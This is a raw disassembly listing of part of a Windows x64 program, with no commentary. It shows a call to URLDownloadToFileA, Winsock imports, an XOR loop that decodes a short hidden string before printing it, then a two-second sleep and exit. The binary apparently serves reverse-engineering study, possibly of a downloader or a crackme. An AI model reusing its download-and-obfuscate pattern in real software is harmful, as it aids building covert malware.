cmp qword [rbp - 0x48], 0xf
cmova rdx, qword [rbp - 0x60]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x14003dea2
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x14003dd82
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dd7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003dd7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
movdqa xmm0, xmmword [0x14015d1d0]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003ddd4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ddce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ddce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14003de12
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003de0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003de0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
mov rax, qword [rbp + 0x40]
cmp rax, 0xf
jbe 0x14003de61
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14003de58
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003de58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1401200e8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14003d7df
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x14003d7d7
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d7d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 7
call fcn.14003c850
lea rdx, [0x140051740]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r10, rax
lea rdx, [rbp - 0x40]
call fcn.14003e060
mov r9, rax
cmp byte [rax + 0x31], 0
je 0x14003e00c
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14003dfda
movdqa xmmword [rbp - 0x80], xmm12
mov rcx, rax
mov edx, dword [rbp - 0x80]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x14003def2
cmp eax, 0x32
jge 0x14003e00c
movsxd r8, ebx
add r8, r9
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x32
jl 0x14003dfe0
mov rdx, r9
mov rcx, r10
call fcn.140051560
lea rdx, [0x140051740]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14003c450
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.14003b820
nop
call fcn.140002e80
int3
call fcn.14003b820
int3